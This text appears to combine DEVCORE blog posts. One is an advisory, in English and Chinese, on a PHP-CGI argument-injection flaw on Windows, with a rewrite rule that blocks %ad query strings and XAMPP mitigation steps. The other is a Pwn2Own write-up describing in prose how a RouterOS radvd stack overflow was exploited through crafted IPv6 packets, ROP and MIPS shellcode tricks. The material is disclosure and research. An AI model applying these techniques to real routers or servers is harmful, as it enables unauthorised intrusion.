When configuring the Action directive to map corresponding HTTP requests to a PHP-CGI executable binary in Apache HTTP Server, this vulnerability can be exploited directly. Common configurations affected include, but are not limited to:

AddHandler cgi-script .php Action cgi-script "/cgi-bin/php-cgi.exe"

Or

<FilesMatch "\.php$"> SetHandler application/x-httpd-php-cgi </FilesMatch> Action application/x-httpd-php-cgi "/php-cgi/php-cgi.exe" Scenario 2: Exposing the PHP binary (also the default XAMPP configuration)

Even if PHP is not configured under the CGI mode, merely exposing the PHP executable binary in the CGI directory is affected by this vulnerability, too. Common scenarios include, but are not limited to:

1. Copying php.exe or php-cgi.exe to the /cgi-bin/ directory.
2. Exposing the PHP directory via ScriptAlias directive, such as: ScriptAlias /php-cgi/ "C:/xampp/php/"

Mitigation Measure

It is strongly recommended that all users upgrade to the latest PHP versions of 8.3.8, 8.2.20, and 8.1.29. For systems that cannot be upgraded, the following instructions can be used to temporarily mitigate the vulnerability.

However, since PHP CGI is an outdated and problematic architecture, it’s still recommended to evaluate the possibility of migrating to a more secure architecture such as Mod-PHP, FastCGI, or PHP-FPM.

1. For users who cannot upgrade PHP:

The following Rewrite Rules can be used to block attacks. Please note that these rules are only a temporary mitigation for Traditional Chinese, Simplified Chinese, and Japanese locales. It is still recommended to update to a patched version or migrate the architecture in practice.

RewriteEngine On RewriteCond %{QUERY_STRING} ^%ad [NC] RewriteRule .? - [F,L] 2. For users who use XAMPP for Windows:

XAMPP has not yet released corresponding update files for this vulnerability at the time of writing this article. If you confirm that you do not need the PHP CGI feature, you can avoid exposure to the vulnerability by modifying the following Apache HTTP Server configuration:

C:/xampp/apache/conf/extra/httpd-xampp.conf

Locating the corresponding lines:

ScriptAlias /php-cgi/ "C:/xampp/php/"

And comment it out:

# ScriptAlias /php-cgi/ "C:/xampp/php/" Timeline

• 2024/05/07 - DEVCORE reported this issue through the official PHP vulnerability disclosure page.
• 2024/05/07 - PHP developers confirmed the vulnerability and emphasized the need for a prompt fix.
• 2024/05/16 - PHP developers released the first version of the fix and asked for feedback.
• 2024/05/18 - PHP developers released the second version of the fix and asked for feedback.
• 2024/05/20 - PHP entered the preparation phase for the new version release.
• 2024/06/06 - PHP released new versions 8.3.8, 8.2.20, and 8.1.29.

Reference

• PHP Security Advisory - PHP RCE: A Bypass of CVE-2012-1823, Argument Injection in PHP-CGI (to be announced)
• MS-UCODEREF - Windows Protocols Unicode Reference
• CERT/CC VU#520827 - PHP-CGI query string parameter vulnerability

English Version, 中文版本

戴夫寇爾研究團隊在進行前瞻攻擊研究期間，發現 PHP 程式語言存在遠端程式碼執行弱點，基於 PHP 在網站生態使用的廣泛性以及此弱點之易重現性，研究團隊將此弱點標記為嚴重、並在第一時間回報給 PHP 官方。官方已在 2024/06/06 發佈修復版本，詳細時程可參閱漏洞回報時間軸。

漏洞描述

PHP 程式語言在設計時忽略 Windows 作業系統內部對字元編碼轉換的 Best-Fit 特性，導致未認證的攻擊者可透過特定的字元序列繞過舊有 CVE-2012-1823 的保護；透過參數注入等攻擊在遠端 PHP 伺服器上執行任意程式碼。

影響範圍

此弱點影響安裝於 Windows 作業系統上所有的 PHP 版本，詳情可參照下表:

• PHP 8.3 < 8.3.8
• PHP 8.2 < 8.2.20
• PHP 8.1 < 8.1.29

由於 PHP 8.0 分支、PHP 7 以及 PHP 5 官方已不再維護，網站管理員可參考如何確認自己易遭受攻擊章節，並於修補建議找到暫時緩解措施。

如何確認自己易遭受攻擊?

對於常見之 Apache HTTP Server 加上 PHP 組合，網站管理員可透過此文章列出之兩個方式確認伺服器是否易被攻擊。其中，情境二也是 XAMPP for Windows 安裝時的預設設定，因此所有版本的 XAMPP for Windows 安裝也預設受此弱點影響。

在本文撰寫當下已驗證當 Windows 作業系統執行於下列語系時，未授權的攻擊者可直接在遠端伺服器上執行任意程式碼:

• 繁體中文 (字碼頁 950)
• 簡體中文 (字碼頁 936)
• 日文 (字碼頁 932)

對於其它執行在英文、韓文、西歐語系之 Windows 作業系統，由於 PHP 使用情境廣泛、暫無法完全列舉並排除其利用情境，因此還是建議使用者全面盤點資產、確認使用情境並更新 PHP 至最新版本確保萬無一失！

情境一: 將 PHP 設定於 CGI 模式下執行

在 Apache Httpd 設定檔中透過 Action 語法將對應的 HTTP 請求交給 PHP-CGI 執行檔處理時，受此弱點影響，常見設定包含但不限於:

AddHandler cgi-script .php Action cgi-script "/cgi-bin/php-cgi.exe"

或

<FilesMatch "\.php$"> SetHandler application/x-httpd-php-cgi </FilesMatch> Action application/x-httpd-php-cgi "/php-cgi/php-cgi.exe" 情境二: 將 PHP 執行檔暴露在外 (XAMPP 預設安裝設定)

即使未設定 PHP 於 CGI 模式下執行，僅將 PHP 執行檔暴露在 CGI 目錄下也受此弱點影響，常見情況包含但不限於:

1. 將 php.exe 或 php-cgi.exe 複製到 /cgi-bin/ 目錄中
2. 將 PHP 安裝目錄透過 ScriptAlias 暴露到外，如: ScriptAlias /php-cgi/ "C:/xampp/php/"

修補建議

強烈建議所有使用者升級至 PHP 官方最新版本 8.3.8、8.2.20 與 8.1.29，對於無法升級的系統可透過下列方式暫時緩解弱點。

除此之外，由於 PHP CGI 已是一種過時且易於出現問題的架構，也建議評估遷移至較為安全的 Mod-PHP、FastCGI 或是 PHP-FPM 等架構可能性。

1. 對無法更新 PHP 的使用者

可透過下列 Rewrite 規則阻擋攻擊，請注意此份規則只作為繁體中文、簡體中文及日文語系中的暫時性緩解機制，實務上仍建議更新到已修復版本或更改架構。

RewriteEngine On RewriteCond %{QUERY_STRING} ^%ad [NC] RewriteRule .? - [F,L] 2. 對 XAMPP for Windows 使用者

在撰寫本文的當下，XAMPP 尚未針對此漏洞釋出相對應的更新安裝檔，如確認自身的 XAMPP 並無使用到 PHP CGI 之功能，可透過修改下列 Apache Httpd 設定檔以避免暴露在弱點中:

C:/xampp/apache/conf/extra/httpd-xampp.conf

找到相對應的設定行數:

ScriptAlias /php-cgi/ "C:/xampp/php/"

並將其註解:

# ScriptAlias /php-cgi/ "C:/xampp/php/" 漏洞回報時間軸

• 2024/05/07 - DEVCORE 透過 PHP 官方弱點通報頁面回報此問題。
• 2024/05/07 - PHP 開發者確認弱點並強調要盡快修復。
• 2024/05/16 - PHP 開發者釋出第一版修復並尋求建議。
• 2024/05/18 - PHP 開發者釋出第二版修復並尋求建議。
• 2024/05/20 - PHP 進入新版本發布準備。
• 2024/06/06 - PHP 發布新版本 8.3.8、8.2.20 與 8.1.29。

參考資料

• PHP Security Advisory - PHP RCE: A Bypass of CVE-2012-1823, Argument Injection in PHP-CGI (to be announced)
• MS-UCODEREF - Windows Protocols Unicode Reference
• CERT/CC VU#520827 - PHP-CGI query string parameter vulnerability

English Version, 中文版本

TL;DR

DEVCORE research team found a 9-year-old WAN bug on RouterOS, the product of MikroTik. Combined with another bug of the Canon printer, DEVCORE becomes the first team ever to successfully complete an attack chain in the brand new SOHO Smashup category of Pwn2Own. And DEVCORE also won the title of Master of Pwn in Pwn2Own Toronto 2022.

The vulnerability occurs in the radvd of RouterOS, which does not check the length of the RDNSS field when processing ICMPv6 packets for IPv6 SLAAC. As a result, an attacker can trigger the buffer overflow by sending two crafted Router Advertisement packets, that allows an attacker to gain full control over the underlying Linux system of the router without logging in and without user interaction. This vulnerability was assigned as CVE-2023-32154 with a CVSS score of 7.5.

The vulnerability was reported to MikroTik by ZDI on 2022/12/29 and patched on 2023/05/19. It has been patched in the following RouterOS releases:

• Long-term Release 6.48.7
• Stable Release 6.49.8
• Stable Release 7.10
• Testing Release 7.10rc6

Pwn2Own SOHO Smashup

Pwn2Own is a series of contests organized by The Trend Micro Zero Day Initiative (ZDI). They pick popular products as targets for different categories, such as: operating systems, browsers, electric cars, industrial control systems, routers, printers, smart speakers, smartphones, NAS, webcams, etc.

As long as the participants can exploit a target without user interaction while the device is in its default state and the software is updated to the latest version, the team will receive the corresponding Master of Pwn points and bounty. And the team which has the highest Master of Pwn points will be the winner, who is also known as the “Master of Pwn.”

Due to the epidemic, Work From Home or SOHO (Small Office/Home Office) has become very common. Consider that, the Pwn2Own Toronto 2022 has a special category called SOHO Smashup, in which participants need to hack routers from the WAN side, and then use the router as a trampoline to attack common household devices in LAN, such as smart speakers, printers, etc.

In addition to the second highest prize of $100,000 (USD), the SOHO Smashup also has the highest score of 10, so if you’re aiming to win, you’ll want to complete this category! We’ve also chosen the lesser-explored MikroTik’s RouterBoard as the target to avoid bug collisions with others (both the bounty and score are halved when you have a collision with someone else).

RouterOS

The RouterOS is based on the Linux kernel and it’s also the default operating system of MikroTik’s RouterBoard. It can also be installed on a PC to turn it into a router.

Though the RouterOS do use some GPL-License software, according to the downloadterms page from MikroTik’s website, you have to pay $45 to MikroTik for sending a CD with GPL source, very interesting.

Glad that there is already a nice guy who uploaded the GPL source on the Github, though they didn’t help much on reversing the RouterOS.

RouterOS v7 and RouterOS v6

There are two versions of RouterOS on the download page of MikroTik’s website: RouterOS v7 and RouterOS v6. They are more like two branches of the RouterOS and share a similar design pattern. Because the default installed version of our target, RB2011UiAS-IN, is RouterOS v6, we focus on that version.

RouterOS does not provide a formal way for users to manipulate the underlying Linux system, and users are trapped in a restricted console with a limited number of commands to manage the router, so there has been a lot of research on how to jailbreak RouterOS.

The binary on the RouterOS uses a customized IPC to communicate with each other, and the IPC uses the “nova message” format to pack messages. So we call such kinds of binary “nova binary” afterward.

Besides, the RouterOS has a special attack surface. The user can manage a RouterOS device remotely from a Windows computer with a GUI tool, WinBox, by sending a nova message through the TCP. So, if the RouterOS fails to validate the privilege of a nova message, the attacker can possibly invade the router by sending a crafted nova message from remote, but it’s not a top priority because the WinBox is unavailable from WAN by default.

Review of Related CVEs

We started by reviewing the CVEs in the past few years. There were 80 CVEs related to RouterOS at that time, of which 28 targeted the router itself in pre-auth scenarios.

4 out of the 28 CVEs are in scenarios that are more in line with the Pwn2Own rules, which means these vulnerabilities could allow an attacker to spawn a shell on the router or log in as admin without user interaction. Three of the vulnerabilities were discovered between 2017 and 2019, and three of these were discovered “in the wild.” These four vulnerabilities are:

• CVE-2017-20149: Also known as Chimay-Red, this is one of the leaked vulnerabilities from the CIA’s “Vault 7” in 2017. The vulnerability occurs when RouterOS parses HTTP requests, and if the Content-Length in the HTTP headers is negative, it will cause Integer Underflow, which together with the Stack Clash attack technique can control the program flow to achieve RCE.
• CVE-2018-7445: A buffer overflow in the SMB service of RouterOS, which found by black-box fuzzing and is the only one of the four vulnerabilities that was reported by the discoverer. Though the SMB is not enabled defaultly.
• CVE-2018-14847: Also the one of the leaked vulnerabilities from the “Vault 7”, which could allow an attacker to achieve arbitrary file read. Which doesn’t sound like a big problem, but because in the earlier version of RouterOS, the user’s password was stored in a file as password xor md5(username + "283i4jfkai3389"), the attacker can calculate the password of admin as long as the attacker can read the file.
• CVE-2021-41987：A heap buffer overflow vulnerability in the base64 decoding process of the SCEP service due to a length miscalculation. The vulnerability was discovered after security researchers analyzed an APT’s exploit on its C2 server.

As we can see, most of these vulnerabilities are “in the wild.” We can only learn limited knowledge about analyzing and reversing the RouterOS.

Review of Related Research

We continue to seek out publicly available research materials, and we have these articles and presentations available at the time of the competition:

• 2017
  • Kirils. Rooting the MikroTik routers
    • Mainly about jailbreak
  • Kirils. A deeper journey into MikroTik routers
    • Mainly about jailbreak
  • Kirils. Tools for effortless reverse engineering of MikroTik routers
    • Mainly about jailbreak
• 2018
  • Jacob Baines. Bug Hunting in RouterOS
    • Explaining how nova message works in IPC
• 2019
  • Jacob Baines. Make It Rain with MikroTik
    • Identical to the talk in 2018
  • Jacob Baines. MikroTik Firewall & NAT Bypass
    • A vulnerability in WinBox: it can be used to scan the intranet once it’s exposed to the WAN
  • Maximiliano Vidal, Juan Caillava. Finding and exploiting CVE-2018–7445
    • Found buffer overflow in SMB by black-box fuzzing and how to exploit the vulnerability to get shell
  • Tomas Kirnak. Deep-dive: MikroTik exploits - a security analysis
    • Discussing the mass exploit event after the leakage of CIA’s “Vault7” arsenal
  • Jacob Baines. Help Me Vulnerabilities You’re My Only Hope
    • Release a tool for jailbreaking RouterOS to help user to check if their router has been compromised in the mass exploit event
  • Jacob Baines. RouterOS: Chain to Root
    • Get shell by chaining DNS poisoning and downgrade vulnerabilities
• 2022
  • D39. Vulnerability Exposure & Notification on Mikrotik (CVE-2021-41987)
    • Found an exploit contains 0-day that targets RouterOS on an APT’s C2 server
  • Ian Dupont, Harrison Green. Pulling MikroTik into the Limelight
    • Detail the IPC mechanism of the RouterOS and release a jailbreak tool “FOISted” to help researchers do further research on the amd64 version of RouterOS.
  • Qian Chen. MikroTik RouterOS Security: The Forgotten IPC Message
    • Found several vulnerabilities in IPC by fuzzing

Review of the IPC and the Nova Message

Most of the research centers around RouterOS’s homebrew IPC, so we also took some time to review it. Here is a simple example to explain the main idea of the IPC.

Normally, a user can log in to the RouterOS through telnet, and manage the router by console.

Let’s follow the procedure step by step:

1. When the user tries to access the console of RouterOS through the telnet. The telnet process will spawn the login process by execl, which asks the user for account and password.
2. After getting the account and password, the login would pack that info into a nova message, and send it to the user process for authentication.
3. The user process returns the result by sending back a nova message
4. If the login succeeds, the console process is spawned, and the user interaction with the console is actually proxied through the login process.

IPC

The above example simply describes the basic concept of IPC, but the communication between the two processes is actually more complex.

Every nova message would be sent to the loader process through the socket first, then the loader dispatches each nova message to the corresponding nova binary.

Suppose the id of the login process is 1039, the id of the user process is 13, and the handler with id 4 in the user process is responsible for verifying the account and password.

Firstly, the login process sends a request with an account and password to the user process, so the SYS_TO in nova message is an array with two elements 13, 4, which means that the message should be sent to the handler with id 4 in the process with binary id 13.

When loader receives the message, it will remove the 13 in SYS_TO of the message which represents the target binary id, and add the source binary id in SYS_FROM, which is 1039, and then send the message to the user process.

The user process does a similar thing when it receives a message: removing the 4 from SYS_TO that represents the target handler id and sending the nova message to handler 4 for processing.

Nova Message

The nova message used in IPC is initialized and set by nv::message and related functions. Nova message is composed of typed key-value pairs, and the key can only be an integer, so keys such as SYS_TO and SYS_FROM are just simple macros.

The types that can be used in a nova message include u32, u64, bool, string, bytes, IP and nova message (i.e. you can create a nested nova message).

Because the RouterOS doesn’t use nova messages in JSON anymore, we only focus on the binary format of it.

During IPC communication, the receiver’s socket receives an integer that expresses the length of the current nova message, followed by the nova message in binary format.

The nova message starts with two magic bytes: M2. Next, each key is described by 4 bytes; the first 3 bytes are used to express the id of the key, and the last byte is the type of the key. Depending on the type, the next bytes will be parsed differently as data, and the next key will come after data, and so on. A special feature is that a bool can be represented by only one bit, so the lowest bit of the type is used to represent True/False. For a more detailed format, see Ian Dupont, Harrison Green. Pulling MikroTik into the Limelight：

The x3 format

In order to understand which nova binary the ids in the SYS_TO and the SYS_FROM in the nova message refer to, we need to parse a file with the extension x3, which is an xml in binary format. By parsing the /nova/etc/loader/system.x3 with the tool, we can map which nova binary each id corresponds to.

The id of some binaries are absent in this file, because some of them have been made available by installing an official RouterOS package. In which case the binary’s id will exist in the /ram/pckg/<package_name>/nova/etc/loader/<package_name>.x3. The radvd is an example.

However, there are still some id of binaries that cannot be found in any .x3 files because these types of processes are not persistent, e.g., the login process, which is only spawned when the user tries to log in and uses a serial number as its id.

The .x3 file is also used to record nova binary related settings, e.g. www specifies in .x3 which servlet should be used for each URI.

Summary

After reviewing the research and CVEs from the past, we can see that most vulnerabilities we are interested in have been concentrated in the past, and it seems to be difficult to find pre-auth vulnerabilities on the WAN side of RouterOS nowadays.

While vulnerabilities continue to be revealed, the RouterOS is becoming more and more secure. Is it true that there are no more pre-auth vulnerabilities on the RouterOS? Or maybe it’s just that everyone is missing something?

Most of the public research mentioned earlier falls into the following three categories:

• Jailbreaking
• The analysis of the exploits in the wild
• The nova message in the IPC

However, after reversing the binary on RouterOS for a while, we realized that the complexity of the whole system was more than that, but no one mentioned the details. This led to the following thought: “No one with sanity would like to dive into the details of nova binary”.

Aside from the exploits leaked from the CIA and APT, most of the research about finding vulnerabilities in RouterOS are: fuzzing network protocols, playing with nova messages, or performing fuzzing tests on nova messages.

By the outcome, it seems that attackers understand the RouterOS much better than we do, and we need to explore more details about the nova binary to fill in the gaps and increase the possibility to find the vulnerabilities we are looking for. Don’t get me wrong. I don’t against fuzzing. But we must ensure we check everything essential to take advantage of the contest.

Where to begin

We don’t think the RouterOS is flawless, there is a gap between researchers’ and attackers’ understanding of RouterOS. So, what are we missing to find pre-auth RCE on RouterOS?

The first question that comes to mind is “where is the entry point of IPC and where does it lead?” Because most of the functionality triggered by IPC requires login, it is to be expected that sticking to IPC will only lead to more findings in post-auth. IPC is just one part of the main functionality implemented on RouterOS, and we would like to look at the core code of each functionality directly and carefully.

For example, how do the process that deal with DHCP extract the info needed in a DHCP packet? This information may be stored directly in the process, or may need to be sent to other processes via IPC for further processing.

The Architecture of Nova Binary

Hence, we must first understand the architecture of the nova binary. Each nova binary has an instance of the Looper class (or a derivative of it: MultifiberLooper), which is a class for event loop logic. In each iteration, it calls runTimer to execute the timer that is expired, and use poll to check the status of the sockets then process them accordingly.

Looper is responsible for the communication between its nova binary and the loader. Looper first registers a special callback function: onMsgSock, which is responsible for dispatching the nova message received from the socket to the corresponding handler in the nova binary.

The Handler class and its derivatives

When a looper receives a nova message, it will dispatch it to the corresponding handler, e.g., a message with SYS_TO of [14, 0] will be dispatched by the loader to a nova binary with a binary id of 14. By the time the looper in the binary with a binary id of 14 receives it, SYS_TO has [0] left, so the looper will dispatch it to handler 0 for processing. If the SYS_TO in the initial nova message is [14], then the looper receives it with SYS_TO as [], and the looper handles this message on its own.

Now let’s assume that the Looper receives a nova message that should be handled by handler 1 and dispatches it to handler 1. At this point, handler 1 calls the methods nv::Handler::handleCmd in the vtable of the handler class, which looks for the corresponding function to execute in the vtable based on the SYS_CMD specified in the nova message.

The cmdUnknown in the vtable is often overridden to extend the functionality, but sometimes the developer overrides handleCmd instead, depending on the developer’s mood. The handler class is a base class, so commands related to objects are not implemented.

Derived class

However, the basic handler class is not the most used one in nova binaries, but rather a derivative of it. Derived classes can be used to store multiple objects of a single type, similar to C++ STL containers.

For example, when a user creates a DHCP server through the web panel, a nova message with the command “add object” is sent to handler 0 of the dhcp process, which then creates a dhcp server object. And the object will be stored in a tree of handler 0.

The handler 0 here is an instance of AMap, AMap is a derived class of Handler. Since the command is “add object”, it triggers the member function AMap::cmdAddObj, which calls a function at offset 0x7c in handler 0’s vtable. And that function is actually the constructor of the object contained in AMap. For example, if the developer defines handler 0 to be of type AMap<string>, then the function at offset 0x7c is the constructor of the string.

The offset of the constructor of the inner object in the vtable is different for each derived class, and locating the constructor to determine what type of objects are contained in the derived class can be done by reversing their individual cmdAddObj function.

IPC, and something other than IPC

Some of the functions in RouterOS are not driven by IPC. Take the two layer 2 discovery protocols, CDP and LLDP, implemented in the discover program as an example.

1. When starting the two services, handler 0 will be responsible for calling nv::createPacketReceiver to open the sockets and register the callback functions for CDP and LLDP.
2. In each iteration of the Looper, call poll to check if the sockets of CDP and LLDP have received any packets.
3. If packets are received, the corresponding callback function will be called to handle the packets.

What CDP’s callback does is very simple: it makes sure that the interface that received the packet is allowed, and if it is, it parses the packet and stores the information directly into the nv::ASecMap instead of using a nova message, and then returns.

It follows that IPC has no ability to trigger any function of CDP or LLDP other than to turn on CDP or LLDP services (which are turned on by default), so it is likely that previous research focused on IPC has not tested the program logic of such implementation.

The Story of Pre-Auth RCE

With the knowledge of RouterOS, a surprising accident led us to a long hidden vulnerability.

One day, when we plugged and unplugged the network cable as usual for reversing and debugging on RouterOS, we found that the log file recorded that the program radvd had crashed several times! So we tried plugging and unplugging the cable to manually reproduce the crash so that we could use the debugger to locate the problem, but after thousands of plugs and unplugs, we still couldn’t determine the conditions under which the crash was occurring, and it appeared to be just a random crash.

After a period of trial and error, we tried to find out where the crash occurred by static reversing the radvd rather than blindly trying. Though we still couldn’t find the root cause of the crash in the end, we found another vulnerability in radvd after reviewing the core logic in binary with the benefit of our understanding of the nova binary.

Before describing this vulnerability, let’s first explain what the radvd process does.

SLAAC (Stateless Address Auto-Configuration )

In short, the radvd is a service that handles SLAAC for IPv6.

In a SLAAC environment, suppose a computer wants to get an IPv6 address to access the Internet, it will first broadcast an RS (Router Solicitation) request to all routers. After the router receives the RS, it will broadcast the network prefix through RA (Router Advertisement); computers receiving the RA can take the network prefix then combine it with the EUI-64 to decide what IPv6 address they’re going to use for connecting to the Internet.

If an ISP or network administrator wants to assign a network segment to a user, so that the user can assign the address to the user-managed machines. How to assign a segment to the user when only using SLAAC without DHCP? Because SLAAC does not have a way to delegate directly, this is how it usually works:

Suppose there is an upstream router: Router A, which belongs to an ISP or a network administrator, a user-managed Router B, and a user-managed computer. The ISP or the network administrator will notify the user via email in advance about a /48 network prefix assigned to the user, which is 2001:db8::/48 in this case. Users can set it on Router B, then when the computer sends RS to Router B, Router B will put this prefix into RA for return, this prefix is called routed prefix.

In order to make Router B be able to communicate with Router A, it also needs to get network prefix from Router A for an IPv6 address of its own. And the network prefix that Router B gets from Router A is called a link prefix.

The execution flow of the radvd

1. When the radvd process is started, the socket used by radvd is opened by nv::ThinRunner::addSocket and the corresponding callback function is registered.

2. In each iteration of the Looper in radavd, the socket is checked by calling the poll to see if it has received any packets.

3. If any packets are received, the corresponding callback function will be called to process the packets.

In the callback function of rardvd, it will first check if the packet is a legitimate RA or RS, if it’s RA, store the information, if it’s RS, start broadcasting RA in LAN.

There are total three cases in which the RouterOS broadcasts the network prefix:

1. Received RS from LAN
2. Received RA from WAN
3. Timed broadcast of RA packets on LAN (default random broadcast after 200~600 seconds)

But we didn’t find the code that’s responsible for case 2 in the callback function by statically reversing. At that time we were not sure why, it is actually related to the subscription mechanism in the RouterOS IPC, which we will explain in a later chapter. However, there are two other cases that we can find out directly through static analysis.

In case 1, when an RS is received from the LAN, radvd will call sendRA to broadcast the RA packet:

In case 2, handler 1 will register a timer, RAroutine, after initialization:

The RAroutine is used to call sendRA at regular intervals to broadcast packets:

CVE-2023-32154

After digging deeper into sendRA, we found that radvd has a vulnerability in handling DNS advisory. First, radvd will store the DNS advisory from the RA received from the upstream router (the data structure is a tree), and when it wants to broadcast the RA to the LAN, these DNS will also be wrapped in the RA and broadcast to the LAN.

In radvd, it is the addDNS function that expands the tree and puts it into the ICMPv6 packet. In the following figure, the first parameter of addDNS, RA_raw, is a buffer of 4096 bytes, which is the final ICMPv6 packet.

Stepping into the addDNS, we can immediately see that there may be a stack buffer overflow here. The addDNS puts DNS into ICMPv6 packets via memcpy without any boundary check, and as long as the DNS advisory is big enough, it can trigger a stack buffer overflow.

The DNS records used here come from the RDNSS field in the RA packet, but according to the RFC, we can find that the field used to describe the length of RDNSS is only 8-bit. It can cover only 255*16 bytes at most, and this length is insufficient for us to overwrite the return address.

But if this is not the first time the radvd received RA, radvd needs to mark the old DNS as expired in the next packet, so we can actually cover twice the length, which is 255*16*2 bytes. That is enough for us to overwrite the return address.

Attacking

Now, the attacker only needs to send two crafted RA packets with RDNSS field length of 255 to the target RouterOS, and the attacker can control the execution flow of the radvd program through the IPv6 address in the RDNSS.

The Protection of Binaries

Since the architecture of target RouterOS is MIPS architecture, the CPU doesn’t support NX, but other protections are also not enabled.

So it’s just a matter of finding a good ROP gadget and letting the execution flow eventually jump to the shellcode we place on the stack, easy peasy lemon squeezy.

The Constraint of Shellcode

However, there are actually quite a number of limitations in the process of constructing an exploit, for example, since IPv6 addresses are stored in a tree structure, they are sorted before being placed on the stack, so we need to make sure that the payload we build remains the same after sorting.

The simplest way to do this is to make the IPv6 prefix to be a serial number, which ensures that the contents of our payload are in order, and that we can accurately jump to the shellcode through the ROP gadget. When writing the shellcode, we just need to construct the suffix of each address as a jump, so that we can skip the non-executable serial number.

However, due to the delay slot in MIPS, the CPU will actually execute the next instruction of the jump instruction first.

So we have to move the jump forward, but since we can’t use the syscall command in the delay slot, the payload will be a pain to construct, and may exceed the length we can use, which is basically a bad idea.

In fact, this is a common beginner level problem in CTF. All we need is to make the prefix of IPv6 address a legal instruction that does not affect the execution result. We change the prefix to addi s8, s0, 1, addi s8, s0, 2, addi s8, s0, 3…… and so on. In addition to the payloads being sorted, it also saves the space that would otherwise be used for jump instructions.

But since we didn’t leak the stack address, and since we can’t find any gadgets available to move the stack address from the $sp register to the $t9 register, what we’ve done here is to first write the jalr $sp instruction to memory via a ROP gadget, and then jump to it and execute it with a ROP gadget, which then directs the flow to the shellcode that we’ve constructed, and that sounds pretty good:

But this is not enough to run shellcode, because MIPS has two different cache for memory access.

Cache

MIPS has two caches: I-cache (instruction cache) and D-cache (data cache).

When we write the jslr $sp instruction to the memory, it’s actually written to D-cache.

When we control the execution flow to jump on the address of jslr $sp, the processor will first check whether the instruction at this address is in the I-cache or not, and since we jump to a data section, the cache will always miss it. And so, the contents of the memory will be loaded into the I-cache.

However, since the contents of the D-cache have not been written back to memory, I-cache will only copy a bunch of null bytes from memory, which is nop in MIPS, so the radvd only runs a bunch of nop until it crashes.

Here we need to make the processor write the contents of the D-cache back to memory, and there are two ways to do this: a context switch or exhausting the D-cache space (32 KB).

Triggering a context switch is easier, but there is no sleep in radvd that we can use to trigger a context switch, and while other functions can trap into the kernel, the chances of a context switch occurring are not very high. In order to compete for the Pwn2Own, it is necessary to have a consistent attack that is close to 100% successful. Therefore, we turned to find a way to exhaust the 32kb D-cache.

First , a simple check shows that the radomize_va_space variable of RouterOS is 1, which means that the memory address of the heap is not random, so we don’t need a leak to know where the heap is. We just need to find a way to make the heap allocate enough space, and then write some gibberish on it to deplete the 32kb D-cache.

However, since there are no good ROP gadgets, such a payload will need too many ROP gadgets, and eventually the payload length may exceed the length we can cover.

Luckily, as mentioned earlier, DNS itself is stored in a tree structure, so it already occupies a large chunk of memory in the heap. Through the step-by-step execution of gdb, we can make sure that by the time DNS is being processed, the heap is already bigger than 32kb, so we just need to call memcpy to write 32kb of gibberish to the heap through the GOT hijack and that’s it!

Finally, our exploit is complete:

Combined with another Canon printer vulnerability we found for Pwn2Own, the attack flow would be:

1. The attacker, as a bad neighbor of the router, sends crafted ICMPv6 packets to it
2. After successfully controlling the router, we perform port forwarding to direct the payload to the Canon printer on the LAN.

In a Pwn2Own environment, the network environment can be simplified a bit as follows:

Debugging for Exploit

Just when we thought we had the $100,000 prize in the pocket, something unexpected happened: our exploit failed on Ubuntu, whether it was a virtual machine in MacOS or an Ubuntu machine; and Pwn2Own officials, who basically used Ubuntu to execute our exploit, so we had to solve this problem.

We tried running the exploit on MacOS and recording the network traffic, then replaying the traffic on Ubuntu, and we can observe that the replay fails:

We also tried running the exploit on Ubuntu and recording the network traffic, of course it failed on Ubuntu. But when we replayed the failed traffic on MacOS, it succeeded:

Up to this point, we guessed that one of the OSes reordered the packets before sending them out, and that might have been done after Wireshark captured the packets. So we wrote a sniffer and put it on the router to monitor the traffic, and the result should be very reliable since AF_PACKET type of sockets are not affected by the firewall rules:

However, the packets recorded from both sides are exactly the same ……

So, apparently I’m the bus factor now. Exploit has only worked on my macOS so far, and if the situation remains, the last resort would be to fly myself to Toronto with my Mac laptop and do the attack on site with my own laptop. But there’s no way we’re going to leave this problem of unknown cause unattended, who knows if it might happen to my laptop during the Pwn2Own as well, and that would be a real loss.

After a few careful reviews, we finally know the cause of the problem: speed. Since the time window between the two RA packets is not that big, it’s hard to tell from the Wireshark timeline, but if you do some math, you’ll see that the difference in time between the two packets is 390 times. So the problem is not with Ubuntu, it’s because the Mac sent the two packets too fast, and accidentally triggered the race condition in radvd (plus I didn’t properly calculate how many bytes it takes to overwrite the return address, I just wrote all the gibberish on it and did a pattern match. So the offset is only correct under the race condition).

The solution is to sleep for a while between sending two RA packets and fix the offset in the payload, which will stabilize our attack with a 100% chance of success.

Fix

This vulnerability has been fixed in the following releases:

• Long-term Release 6.48.7
• Stable Release 6.49.8, 7.10
• Testing Release 7.10rc6

At the same time, we also found that this vulnerability has existed since RouterOS v6.0. From the official website can be found 6.0 release date is 2013-05-20, that is to say, this vulnerability has existed there nine years, but no one has found him.

Echoing our initial thought, “No one with sanity would like to dive into the details of nova binary”, Q.E.D.

The Race Condition

But how did this race condition that prevents us from easily earning $100,000 happen? As mentioned above, nova binary has a Looper that loops for dealing with events, i.e. it’s a single thread program, so what’s the race condition all about? (Some nova binary is multi-fiber, but radvd isn’t.)

I didn’t mention that when radvd parse the RA packets received from WAN, the DNS is stored in a “vector”, but when preparing the RA packets for broadcasting on LAN, addDNS expands a “tree” with DNS stored in it, so what is the relationship between this vector and the tree?

That’s why we didn’t find the logic “broadcasts RA packets to the LAN when it receives RA from the WAN” in the callback, because it’s the result of the interaction between the two processes.

If we take a closer look at what the callback does, we can see that there is an array that holds an object called the “remote object”. The code looks intuitive, it iterates over a vector of DNS addresses, calls nv::roDNS once for each DNS address, and saves the result of the function execution in the and saves the result of the function execution in the DNS_remoteObject vector.

Remote Object

So what is a remote object? Remote object is a mechanism used in RouterOS to share resources across processes, one process is responsible for storing this shared resource, then another process can send requests to the process responsible for storing it to make additions, deletions, and modifications by specifying the ids. For example, the DNS remote object is actually placed in handler 2 of the resolver process, while handler 1 of radvd simply keeps the ids of these objects.

Subscription and Notification

When a remote object is updated, some process may want to respond, so the nova binary can subscribe to other nova binary in advance. Take dhcp and ippool6 for example, handler 1 in ippool6 is responsible for managing the ipv6 address pool, the dhcp process subscribes to handler 1 in ippool6, so when there are changes in the ipv6 address pool, dhcp can check whether they need to be processed further, such as shutting down a dhcp server.

The subscription behavior is achieved by sending a nova message to the binary that wants to subscribe, with a SYS_NOTIFYCMD that contains the specific conditions that it wants to be notified about.

When another process adds an object to ippool6, handler 1’s cmdAddObj function will be executed.

In most cases, AddObj will call sendNotifies to notify subscribers who have subscribed to the 0xfe000b event that their subscribed objects have been altered, so ippool6 here sends a nova message to the dhcp process informing it of the result of the object being altered.

